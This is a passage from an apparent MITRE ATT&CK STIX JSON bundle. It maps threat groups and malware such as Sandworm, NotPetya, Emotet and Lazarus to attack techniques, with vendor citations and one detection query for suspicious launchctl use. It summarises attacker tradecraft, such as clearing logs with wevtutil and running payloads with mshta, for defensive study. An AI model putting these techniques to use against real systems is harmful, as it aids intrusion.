2018)","relationship_type":"uses","source_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--12853add-45f8-4dfb-9d64-af39b1575dcf","type":"relationship","created":"2020-11-25T20:37:53.605Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-25T20:37:53.606Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has established social media accounts to disseminate victim internal-only documents and other sensitive data.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1285411e-83a3-456a-a211-56896dba2942","created":"2024-08-20T20:14:02.312Z","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T20:14:02.312Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) can check the systems `LANG` environmental variable to prevent infecting devices from Armenia (`hy_AM`), Belarus (`be_BY`), Kazakhstan (`kk_KZ`), Russia (`ru_RU`), and Ukraine (`uk_UA`).(Citation: Kandji Cuckoo April 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--128620b6-fea5-497b-a914-d9c3f8481497","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T20:07:00.300Z","description":"Monitor for newly executed daemons that may abuse launchctl to execute commands or programs.\n\nAnalytic 1 - Executable path is in unusual directories\n\nsourcetype=osquery OR sourcetype=auditd\n| search parent_process=\"launchctl\" AND process_path IN (\"/tmp/*\", \"/Shared/*\")\n ","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--128afec2-d9a5-4433-89d9-0cc65abf15bd","created":"2023-10-04T17:36:03.088Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T17:36:03.088Z","description":"[Disco](https://attack.mitre.org/software/S1088) can download files to targeted systems via SMB.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--e1445afd-c359-45ed-8f27-626dc4d5e157","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--128e8365-7645-41fa-832e-5ff4d8639035","type":"relationship","created":"2019-02-20T15:16:43.083Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.","source_name":"Palo Alto Networks BBSRAT"}],"modified":"2019-04-24T23:10:02.490Z","description":"[BBSRAT](https://attack.mitre.org/software/S0127) uses [Expand](https://attack.mitre.org/software/S0361) to decompress a CAB file into executable content.(Citation: Palo Alto Networks BBSRAT)","relationship_type":"uses","source_ref":"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--128eb6e8-d1a7-4ff6-85e6-a68cfea3298e","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-20T21:29:27.710Z","description":"[SLOWDRIFT](https://attack.mitre.org/software/S0218) collects and sends system information to its C2.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--414dc555-c79e-4b24-a2da-9b607f7eaf16","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--128ecd12-77db-4117-be2f-2bf5476de670","created":"2022-10-06T21:13:54.992Z","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T21:13:54.992Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors modified the `IKEEXT` and `PrintNotify` Windows services for persistence.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--128eeb8d-c492-4dbf-a423-0b68a4b53443","created":"2022-08-22T13:39:28.999Z","x_mitre_version":"0.1","external_references":[{"source_name":"Google EXOTIC LILY March 2022","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bumblebee](https://attack.mitre.org/software/S1039) has the ability to identify the user name.(Citation: Google EXOTIC LILY March 2022)","modified":"2022-08-22T13:39:28.999Z","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--12904c83-67ad-430f-96ae-20e9081c2b5d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}],"modified":"2020-03-16T15:53:20.618Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) has used rundll32.exe in a Registry value to establish persistence.(Citation: Bitdefender APT28 Dec 2015)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--12918fb6-9b92-4644-a4c2-4f2f471e9b2c","type":"relationship","created":"2019-06-28T14:58:02.530Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2020-03-17T01:43:20.928Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) uses SMTP for C2.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--12948e09-2774-4b91-b9d1-018b41f7f923","created":"2023-08-04T18:33:26.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T20:31:57.255Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used compromised Paessler Router Traffic Grapher (PRTG) servers from other organizations for C2.(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--129a4d3f-fa4a-42c3-833e-8f15155b9693","type":"relationship","created":"2022-03-09T23:42:34.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks IRON VIKING ","url":"https://www.secureworks.com/research/threat-profiles/iron-viking","description":"Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020."}],"modified":"2022-03-09T23:42:34.056Z","description":"(Citation: Secureworks IRON VIKING )","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--129d828d-a84b-43dc-afc1-f46d8a25de0a","type":"relationship","created":"2021-12-08T18:24:25.594Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-08T18:24:25.594Z","description":"[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) can use a network scanning module to identify ICS-related ports.(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--12b6a249-fc3d-4e57-9908-373c0553eb03","created":"2023-08-04T13:55:18.656Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-04T13:55:57.307Z","description":"Review logs for SaaS services, including Office 365 and Google Workspace, to detect the configuration of new webhooks.","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--43f2776f-b4bd-4118-94b8-fee47e69676d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--12c14ace-db29-4b08-a052-ba867c9ba534","created":"2020-03-30T19:29:56.297Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"},{"source_name":"Talos Emotet Jan 2019","description":"Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.","url":"https://blog.talosintelligence.com/2019/01/return-of-emotet.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T20:25:07.828Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has used HTTP over ports such as 20, 22, 443, 7080, and 50000, in addition to using ports commonly associated with HTTP/S.(Citation: Talos Emotet Jan 2019)(Citation: Binary Defense Emotes Wi-Fi Spreader)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--12c24e26-9415-45ef-b844-2bea03ee709e","type":"relationship","created":"2019-03-26T16:19:52.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html","source_name":"Talos Nyetya June 2017"},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-30T17:38:41.002Z","description":"[NotPetya](https://attack.mitre.org/software/S0368) uses wevtutil to clear the Windows event logs.(Citation: Talos Nyetya June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--12c45410-f606-4f0b-86b9-ee0447447b1f","created":"2024-07-25T17:21:46.083Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T17:21:46.083Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) has used [PlugX](https://attack.mitre.org/software/S0013) loaders as part of intrusions.(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--12c617b6-9c95-46fd-a3ef-845be82ac237","type":"relationship","created":"2022-03-23T16:57:13.616Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lazarus APT January 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."},{"source_name":"Qualys LolZarus","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022."}],"modified":"2022-03-23T16:57:13.616Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used mshta.exe to execute HTML pages downloaded by initial access documents.(Citation: Lazarus APT January 2022)(Citation: Qualys LolZarus)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--12c761e7-f026-4e14-80fb-da9f4cb0ca38","type":"relationship","created":"2021-04-26T15:59:03.129Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"}],"modified":"2021-04-26T15:59:03.129Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) has removed the watermark associated with enabling the TESTSIGNING boot configuration option by removing the relevant strings in the user32.dll.mui of the system.(Citation: F-Secure BlackEnergy 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--12c94395-26b4-46a5-bb10-dab19b5f1a30","created":"2019-01-29T21:47:53.743Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Radware Micropsia July 2018","description":"Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.","url":"https://www.radware.com/blog/security/2018/07/micropsia-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:08:25.924Z","description":"[Micropsia](https://attack.mitre.org/software/S0339) executes an RAR tool to recursively archive files based on a predefined list of file extensions (*.xls, *.xlsx, *.csv, *.odt, *.doc, *.docx, *.ppt, *.pptx, *.pdf, *.mdb, *.accdb, *.accde, *.txt).(Citation: Radware Micropsia July 2018)","relationship_type":"uses","source_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--12cc7738-bb90-4e77-a96d-8e4f312e07d4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye admin@338","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"}],"modified":"2020-03-17T01:45:10.853Z","description":"[LOWBALL](https://attack.mitre.org/software/S0042) command and control occurs via HTTPS over port 443.(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--12cfc154-5240-47ce-ba54-ec40f8a6d13d","created":"2023-04-10T22:33:55.144Z","revoked":false,"external_references":[{"source_name":"Rapid7 HAFNIUM Mar 2021","description":"Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. Retrieved October 27, 2022.","url":"https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T22:33:55.144Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has collected data and files from a compromised machine.(Citation: Rapid7 HAFNIUM Mar 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--12daddcc-b964-485e-8c2d-10f554d78bcc","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"OilRig ISMAgent July 2017","description":"Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/"}],"modified":"2019-09-04T22:55:41.315Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) malware ISMAgent falls back to its DNS tunneling mechanism if it is unable to reach the C2 server over HTTP.(Citation: OilRig ISMAgent July 2017)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--12dcf7c0-4f6b-4eb1-9317-3337822ecbe1","type":"relationship","created":"2020-05-15T13:43:22.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist DarkVishnya Dec 2018","url":"https://securelist.com/darkvishnya/89169/","description":"Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}],"modified":"2020-05-15T13:43:22.771Z","description":"[DarkVishnya](https://attack.mitre.org/groups/G0105) created new services for shellcode loaders distribution.(Citation: Securelist DarkVishnya Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--12e24dfb-3b4c-4244-90c9-2f9675dc6eaa","created":"2022-02-17T16:16:01.705Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CERT-EE Gamaredon January 2021","description":"CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022.","url":"https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf"},{"source_name":"unit42_gamaredon_dec2022","description":"Unit 42. (2022, December 20). Russia’s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.","url":"https://unit42.paloaltonetworks.com/trident-ursa/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:50:21.155Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used WMI to execute scripts used for discovery and for determining the C2 IP address.(Citation: CERT-EE Gamaredon January 2021)(Citation: unit42_gamaredon_dec2022) ","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--12e483aa-14a0-41ea-b6fd-7ced3590472b","type":"relationship","created":"2021-04-14T14:05:51.798Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Rocket Kitten","url":"https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf","description":"Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018."}],"modified":"2021-04-14T14:05:51.798Z","description":"(Citation: Check Point Rocket 